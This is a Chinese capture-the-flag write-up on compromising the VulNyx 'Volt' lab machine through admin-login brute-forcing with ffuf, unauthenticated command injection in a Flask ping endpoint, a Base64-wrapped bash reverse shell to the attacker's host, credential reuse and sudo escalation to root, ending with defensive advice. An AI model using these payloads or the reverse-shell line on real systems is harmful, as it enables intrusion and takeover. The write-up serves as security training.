跳到主要内容

VulNyx Volt 通关记录|Flask 后台爆破、命令注入与 sudo 全权限提权

靶机链接:Volt


0x01 基本信息

名称IP / 标识说明
Kali Linux192.168.1.109攻击机
Volt192.168.1.119 (volt.lan)Debian 13 靶机(Volt - Electronics Store)

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp SSH、80/tcp HTTP (nginx 反代 Flask)锁定 Web 电商平台为核心入口
Web 枚举发现 /admin 真实 POST 表单,识别 Python Flask / Werkzeug 特征确定管理后台为突破口
后台爆破ffuf 对 /admin 字典爆破,以 -mc 200 匹配成功登录响应成功获取后台密码 admin:chocolate3
未授权命令注入/admin/diagnostics 接口无需任何会话认证;host 参数直接拼接入 ping -c 1 {host} (shell=True)通过 ;、反引号或 $() 实现未授权任意命令执行
初始访问Base64 编码反弹 Shell 回连攻击机 192.168.1.109:4444获得 www-data 用户交互式 Shell
凭据搜集读取 /opt/volt/config.py 获取数据库明文密码得到系统用户 batusai 的密码 V0lt_db_S3cr3t_2026
横向移动凭据复用于 SSH 登录 batusai@192.168.1.119获得交互式登录并取得 User Flag
提权 Rootsudo -l 发现 (ALL : ALL) ALL 全指令授权,配合已知密码提权获取 root 最高权限与 Root Flag

0x02 侦察与信息收集 (Reconnaissance)

1. 连通性测试与端口发现

ICMP 与端口探测

靶机禁用了 ICMP 响应(ping 超时),直接采用全端口扫描工具进行探测。

使用 rustscan 配合 nmap 对目标主机 192.168.1.119 执行全端口与服务识别扫描:

rustscan -a 192.168.1.119 --ulimit 1000 -t 2000 -b 250 -- -sV -sC -A -Pn -oN nmap_full2.txt

Nmap 详细扫描结果:

# Nmap 7.99 scan initiated Sun Aug 23 07:56:48 2026 as: /usr/lib/nmap/nmap --privileged -vvv -p 22,53,80 -4 -sV -sC -A -Pn -oN nmap_full2.txt 192.168.1.119
Nmap scan report for volt.lan (192.168.1.119)
Host is up, received arp-response (0.0022s latency).
Scanned at 2026-08-23 07:56:49 +08 for 17s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
53/tcp closed domain reset ttl 64
80/tcp open http syn-ack ttl 64 nginx
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
|_http-title: Volt - Electronics Store
MAC Address: 0C:DD:24:76:71:18 (Intel Corporate)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

开放端口汇总:

端口服务版本 / 指纹说明
22/tcpSSHOpenSSH 10.0p2 Debian 7+deb13u4远程登录服务
53/tcpDNSclosed端口可达但服务未监听
80/tcpHTTPnginx / Reverse ProxyWeb 前端("Volt - Electronics Store")

0x03 Web 路由与技术栈枚举 (Web Enumeration)

1. 网站结构与目录扫描

访问 http://192.168.1.119/,页面为名为 Volt - Electronics Store 的电子商城。

使用 feroxbuster 对 Web 服务进行常规目录扫描:

feroxbuster -u http://192.168.1.119 -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-t 30 --quiet -s 200

扫描发现以下核心路由:

/admin ← 管理员后台登录入口 (Staff only),包含真实 POST 表单
/api ← 返回 JSON: {"endpoints":["/api/products","/api/cart","/api/orders"],"service":"volt-api","version":"1.4.2"}
/product/{id} ← 商品详情页面 (ID: 1..12)
/login ← 前台用户登录页面 (无 form POST 逻辑,纯展示)
/register ← 前台注册页面 (纯展示)

2. 技术栈指纹识别

  • 当对 /login/register 发送 POST 请求时,返回 405 Method Not Allowed,页面样式为标准的 Werkzeug / Flask 默认错误模板;
  • 抓取非存在路由的 HTTP 响应头:HTTP/1.1 404 NOT FOUND,其大写状态描述同样符合 Python Flask 原生特征;
  • 综上,目标 Web 服务为基于 Python Flask + Werkzeug 构建的应用,重点突破方向为 /admin 后台入口。

0x04 后台字典爆破与未授权命令注入 (Admin Brute-force & Unauthenticated RCE)

1. 管理员后台弱口令爆破

/admin 提供 Staff 登录表单,状态码与响应长度基线如下:

  • 登录失败:返回 HTTP 401 Unauthorized,页面长度固定为 3326 字节;
  • 登录成功:返回 HTTP 200 OK,页面长度为 3878 字节并包含 ✓ Signed in: admin

利用 ffuf 结合常用口令字典进行字典爆破,直接使用 -mc 200 匹配成功响应:

ffuf -u http://192.168.1.119/admin -X POST \
-d "username=admin&password=FUZZ" \
-H "Content-Type: application/x-www-form-urlencoded" \
-w /usr/share/wordlists/rockyou.txt -mc 200 -s

爆破命中:

chocolate3

验证登录:

curl -s -X POST http://192.168.1.119/admin \
-d "username=admin&password=chocolate3"

响应页面展示 System Diagnostics(系统网络诊断)功能面板。


2. 未授权命令注入成因与利用

在后台界面中,System Diagnostics 提供 host 参数用于测试网络连通性。

接口认证情况

经接口鉴权审计发现,后端路由 /admin/diagnostics 未配置任何会话拦截或 Cookie 校验。这意味着攻击者无需先爆破登录后台,直接向 /admin/diagnostics 发送 POST 请求即可未授权触发命令执行。

注入方式测试与回显机制

host 参数测试不同分隔符与语法,均可稳定触发命令执行:

  1. 分号分隔符 (;):最直接的注入语法。ping 正常发送 1 个 ICMP 包后,分号后的命令紧随其后执行,标准输出与标准错误完整呈现在回显中:

    curl -s -X POST http://192.168.1.119/admin/diagnostics \
    -d "host=127.0.0.1; id; uname -a"

    回显片段:

    PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
    64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.038 ms
    --- 127.0.0.1 ping statistics ---
    1 packets transmitted, 1 received, 0% packet loss, time 0ms
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    Linux volt 6.12.96+deb13-amd64 #1 SMP Debian 6.12.96-1 x86_64 GNU/Linux
  2. 反引号 (`) 与命令替换 ($()):子 Shell 优先执行注入命令,并将执行结果作为主机名参数传递给 pingping 因无法解析该主机名而报错,错误信息通过 stderr 同样被捕获并回显:

    curl -s -X POST http://192.168.1.119/admin/diagnostics \
    --data-urlencode 'host=127.0.0.1`id`'

    回显片段:

    ping: groups=33(www-data): Name or service not known

漏洞成因分析: 审计服务端源码 /opt/volt/app.py(第 190–198 行):

host = request.form.get("host", "").strip()
output = subprocess.check_output(
"ping -c 1 " + host, # 直接通过字符串拼接构建 shell 命令行
shell=True, stderr=subprocess.STDOUT, timeout=15
).decode(errors="replace")

subprocess.check_outputshell=True 下直接将未经校验的 host 字符串拼入命令行,且未做权限鉴权与参数过滤,导致任意外部未授权用户均可执行系统命令。


3. 反弹 Shell 与多行执行通道封装

由于特殊字符和空格可能干扰 Shell 参数解析,使用 Base64 编码封装反弹 Shell 载荷。

在攻击机 192.168.1.109 启动端口监听:

nc -lvnp 4444

发送武器化 Base64 Payload:

PAY=$(echo -n "bash -i >& /dev/tcp/192.168.1.109/4444 0>&1" | base64 -w0)
curl -s -X POST http://192.168.1.119/admin/diagnostics \
--data-urlencode "host=127.0.0.1\`echo $PAY|base64 -d|bash\`"

成功获取 Shell:

connect to [192.168.1.109] from (UNKNOWN) [192.168.1.119] 37788
www-data@volt:/opt/volt$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@volt:/opt/volt$ uname -a
Linux volt 6.12.96+deb13-amd64 #1 SMP Debian 6.12.96-1 (2026-08-01) x86_64 GNU/Linux

0x05 凭据搜集与横向移动 (Lateral Movement)

1. 敏感配置文件审计

在 Web 应用目录 /opt/volt/ 下检查配置文件 config.py

cat /opt/volt/config.py

配置内容:

DB_HOST = "127.0.0.1"
DB_PORT = 3306
DB_NAME = "volt_store"
DB_USER = "batusai"
DB_PASS = "V0lt_db_S3cr3t_2026"

配置中明文存放了数据库凭据,其中用户名 batusai 对应系统已有用户:

ls -la /home
# drwx------ 3 batusai batusai 4096 Aug 23 07:30 batusai

2. SSH 密码复用与获取 User Flag

测试数据库密码是否在系统 SSH 登录中被复用:

sshpass -p "V0lt_db_S3cr3t_2026" ssh -o StrictHostKeyChecking=no batusai@192.168.1.119 "id"

输出:

uid=1000(batusai) gid=1000(batusai) groups=1000(batusai),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)

用户 batusai 成功登录,且属于 sudo 特权用户组!

读取 User Flag:

sshpass -p "V0lt_db_S3cr3t_2026" ssh batusai@192.168.1.119 "cat ~/user.txt"

User Flag:

a0bcc708bba0451e9134c31f4b1dda2a

0x06 权限提升与 Root Flag (Privilege Escalation)

1. sudo 权限检查

检查 batusai 用户的 sudo 权限配置:

echo 'V0lt_db_S3cr3t_2026' | sudo -S -l

输出:

Matching Defaults entries for batusai on volt:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User batusai may run the following commands on volt:
(ALL : ALL) ALL

batusai 用户拥有完全不受限的 (ALL : ALL) ALL sudo 提权权限。


2. 提权 Root 与获取 Root Flag

执行特权提权命令切换至 root 并读取 Root Flag:

sshpass -p "V0lt_db_S3cr3t_2026" ssh batusai@192.168.1.119 \
"echo 'V0lt_db_S3cr3t_2026' | sudo -S bash -c 'id; whoami; cat /root/root.txt'"

输出:

uid=0(root) gid=0(root) groups=0(root)
root
c21c4e2d4784781ce3aabb9c3357e88f

检查 /root 目录文件:

sshpass -p "V0lt_db_S3cr3t_2026" ssh batusai@192.168.1.119 \
"echo 'V0lt_db_S3cr3t_2026' | sudo -S ls -la /root"
total 28
drwx------ 4 root root 4096 Aug 23 07:31 .
drwxr-xr-x 18 root root 4096 Aug 1 05:40 ..
lrwxrwxrwx 1 root root 9 Aug 23 07:31 .bash_history -> /dev/null
-rw-r--r-- 1 root root 571 Apr 10 2024 .bashrc
-rwxr-xr-x 1 root root 850 Jul 30 06:37 cleanup.sh
drwxr-xr-x 3 root root 4096 Aug 1 05:45 .local
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-r-------- 1 root root 33 Jul 31 14:17 root.txt
drwx------ 2 root root 4096 Aug 1 05:45 .ssh

0x07 最终成果 (Final Flags)

User Flag

  • 路径: /home/batusai/user.txt
  • 权限: -r-------- 1 batusai batusai 33
  • 内容: a0bcc708bba0451e9134c31f4b1dda2a

Root Flag

  • 路径: /root/root.txt
  • 权限: -r-------- 1 root root 33
  • 内容: c21c4e2d4784781ce3aabb9c3357e88f

0x08 漏洞汇总

#漏洞严重程度位置利用方式
1管理后台弱口令High/admin 登录表单使用 rockyou 字典爆破破解出 admin:chocolate3
2未授权 OS 命令注入Critical/admin/diagnostics host 参数(无需认证)直接向诊断端点 POST 发送 ; 或反引号/$() 载荷,无需会话 Cookie 即可 RCE
3敏感凭据明文硬编码High/opt/volt/config.py数据库账号密码明文存储且全局可读
4账号密码跨服务复用High系统用户 batusai数据库密码被复用为 Linux 系统登录密码
5sudo 过度授权Critical/etc/sudoers普通用户配置 (ALL : ALL) ALL 全指令授权,配合泄露密码直接提权 root

复盘总结与防御建议

  1. 避免在 Shell 中直接拼接用户输入: Python 调用系统命令应使用列表传参并禁用 Shell 解析,例如 subprocess.run(["ping", "-c", "1", host], shell=False),并对输入 IP/主机名执行严格的正则与白名单校验。
  2. 端点级强制会话鉴权与双重防御: 仅靠登录表单防爆破无法缓解未授权 RCE。必须在所有管理与诊断端点(如 /admin/diagnostics)增加全局会话/Token 校验拦截器,同时在端点层执行严格的输入白名单校验,杜绝绕过登录直接触达危险操作。
  3. 隔离应用凭据与系统凭据: 数据库密码与系统用户密码严禁相同;生产环境敏感凭据应通过环境变量或专有密钥管理服务(KMS/Vault)注入,禁止明文提交至代码文件。
  4. 践行最小特权原则: 限制 sudo 授权范围,禁止为非必要用户配置全通配 (ALL : ALL) ALL 权限。